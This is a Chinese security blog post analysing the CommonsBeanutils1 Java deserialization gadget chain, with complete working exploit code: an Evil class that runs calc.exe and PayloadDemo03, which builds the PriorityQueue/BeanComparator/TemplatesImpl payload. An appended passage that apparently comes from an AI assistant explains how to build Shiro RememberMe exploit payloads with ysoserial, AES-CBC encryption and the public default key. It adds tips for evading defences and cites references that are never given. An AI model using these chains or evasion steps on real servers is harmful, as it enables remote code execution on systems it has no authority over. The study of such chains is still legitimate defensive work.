CommonsBeanutils1反序列化链分析

CommonsBeanutils1反序列化链分析

ACC2链中用到PriorityQueue类的比较器进行构造反序列化链,当时用到的是TransformingComparator对象作为PriorityQueue类的比较器,那么是否存在其它比较器可以用来构造反序列化链呢?

答案肯定是有的,BeanComparator对象就可以作为比较器用于构造反序列化链

Apache Commons Beanutils简介

Apache Commons Beanutils是 Apache Commons工具集中的另一个项目,它提供对 javaBean 的一些操作,javaBean的用于映射数据库的。比如如下一个javaBean就映射了数据库的一个Studnet表,表里面存在name和age字段

package org.apache.shiro.test;

public class Student {
    private String name;
    private int age;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

Apache Commons Beanutils提供对 javaBean 的一些操作,比如当PropertyUtils.getProperty(new Student,name)方法时,会去调用Student类的getName方法。

BeanComparator对象

这个对象位于org.apache.commons.beanutils这个包下,其实现了Comparator和Serializable接口,所以它可以用作PriorityQueue的比较器,如下为BeanComparator.compare方法

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

this.property为空则直接比较两个元素,当不为空则调用PropertyUtils.getProperty方法,当o1为对象A,this.property为name,则此时PropertyUtils.getProperty方法会调用A.getName方法,那么这个点怎么利用呢?

构造payload

前面分析ACC链的时候有一条TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses调用链,且getOutputProperties和newTransformer方法是公开的。注意到getOutputProperties方法,不就是符合PropertyUtils.getProperty方法的调用格式吗?当this.property为outputProperties(注意要小写才行),o1为TemplatesImpl时,则会调用TemplatesImpl.getOutputProperties进入反序列化调用链。

根据前面的分析,可以利用BeanComparator对象作为PriorityQueue的比较器进行构造反序列化链,完整payload如下

Evil.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

PayloadDemo03.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class PayloadDemo03 {
    public static void main(String[] args) throws Exception {
        PriorityQueue priorityQueue = (PriorityQueue) getObject();
        serAndUnser(priorityQueue);
    }

    public static Object getObject() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
        byte[] bytes = clazz.toBytecode();
        TemplatesImpl Evilobj = new TemplatesImpl();
        BeanComparator comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field declaredField = Evilobj.getClass().getDeclaredField("_bytecodes");
        declaredField.setAccessible(true);
        setField(Evilobj,"_bytecodes",new byte[][]{bytes});
        setField(Evilobj,"_name","ky");
        setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
        setField(comparator,"property","outputProperties");  //需要首字母小写
        setField(priorityQueue,"queue",new Object[]{Evilobj,Evilobj});
        return priorityQueue;
    }
    public static void setField(Object obj,String field,Object value) throws Exception{
        Field declaredField = obj.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(obj,value);
    }
    public static void serAndUnser(Object obj) throws Exception{
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(obj);
        oo.flush();
        oo.close();
        ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
        ObjectInputStream oi = new ObjectInputStream(bi);
        Object o = (Object) oi.readObject();
    }
}

自此,CommonsBeanutils1反序列化链就构造完毕了。

<think>嗯,用户想知道Shiro反序列化漏洞中Payload生成的过程,特别是构造方法和原理。首先,我需要回忆一下Shiro反序列化漏洞的基本知识。Shiro在记住我功能中使用加密的序列化数据,而攻击者可能利用弱密钥或已知密钥来构造恶意对象。 首先,Payload生成的关键步骤应该包括反序列化利用链、加密和编码。我记得Shiro550和721的区别,550是已知密钥,而721需要Padding Oracle攻击。用户的问题可能更关注Shiro550的情况,因为这是比较常见的。 接下来,构造Payload的过程大概分为几个阶段:生成恶意对象、序列化、加密(AES-CBC)、Base64编码。需要确保每一步都正确,比如选择正确的利用链,比如CommonsBeanutils或者JRMPClient,然后进行序列化。加密时要注意密钥是否正确,因为如果密钥不正确,Shiro解密会失败,无法触发反序列化。 可能还需要提到加密模式,比如AES-CBC和填充方式,这里可能会有Padding Oracle的问题,特别是在Shiro721中。不过用户的问题可能更侧重于生成Payload的构造方法,所以需要详细说明每一步的具体操作,比如如何用ysoserial生成Gadget,然后使用密钥加密,再进行Base64编码,最后设置到Cookie中。 同时,要引用提供的参考资料,比如引用[2]中的解密过程,以及引用[4]中的密钥碰撞问题。还要注意漏洞的影响版本,比如引用[1]提到的CVE-2022-32532,但用户的问题主要关于反序列化,所以可能需要区分不同的CVE。 最后,要确保回答结构清晰,分步骤解释,并生成相关问题。可能需要检查是否有遗漏的步骤,比如密钥获取的方式,或者不同利用链的选择。另外,要提醒用户实际测试需要合法授权,避免法律问题。</think>### Apache Shiro 反序列化漏洞 Payload 构造方法及原理 #### 一、漏洞背景 Apache Shiro 的反序列化漏洞(如 CVE-2016-4437/Shiro550)源于其“记住我”(RememberMe)功能的加密流程缺陷。攻击者通过构造恶意序列化数据,结合已知密钥或加密模式漏洞,可实现远程代码执行[^1][^2]。 #### 二、Payload 构造核心步骤 1. **利用链选择** 使用反序列化利用链(Gadget Chain)生成恶意对象,例如: - `CommonsBeanutils1`(依赖特定版本库) - `JRMPClient`(利用远程类加载) ```python # 示例:通过ysoserial工具生成Payload java -jar ysoserial.jar CommonsBeanutils1 "命令" > payload.bin ``` 2. **序列化与加密** Shiro 使用 AES-128-CBC 模式对序列化数据加密,需以下步骤: - **序列化**:将恶意对象转换为字节流 - **填充**:按 PKCS5/PKCS7 标准填充至块大小整数倍 - **加密**:使用硬编码或泄露的密钥加密 ```python # 伪代码:AES-CBC加密流程 iv = random(16 bytes) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(padded_data) ``` 3. **编码与传输** 加密后的数据通过 Base64 编码后植入 Cookie: ```python rememberMe = base64.b64encode(iv + ciphertext) ``` #### 三、关键原理分析 1. **密钥硬编码问题** Shiro 默认密钥 `kPH+bIxk5D2deZiIxcaaaA==` 公开,攻击者可碰撞其他弱密钥[^4]。 2. **加密模式缺陷** AES-CBC 模式若未正确校验填充,可能被用于 Padding Oracle 攻击(如 Shiro721)[^3]。 3. **反序列化触发点** Shiro 在反序列化前会解密数据并调用 `ObjectInputStream.readObject()`,导致恶意代码执行。 #### 四、防御规避技术 1. **密钥混淆**:利用多个密钥生成 Payload 尝试绕过 2. **流量伪装**:通过合法 Cookie 结构隐藏恶意 Payload 3. **利用链组合**:结合依赖库特性构造无回显攻击链
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值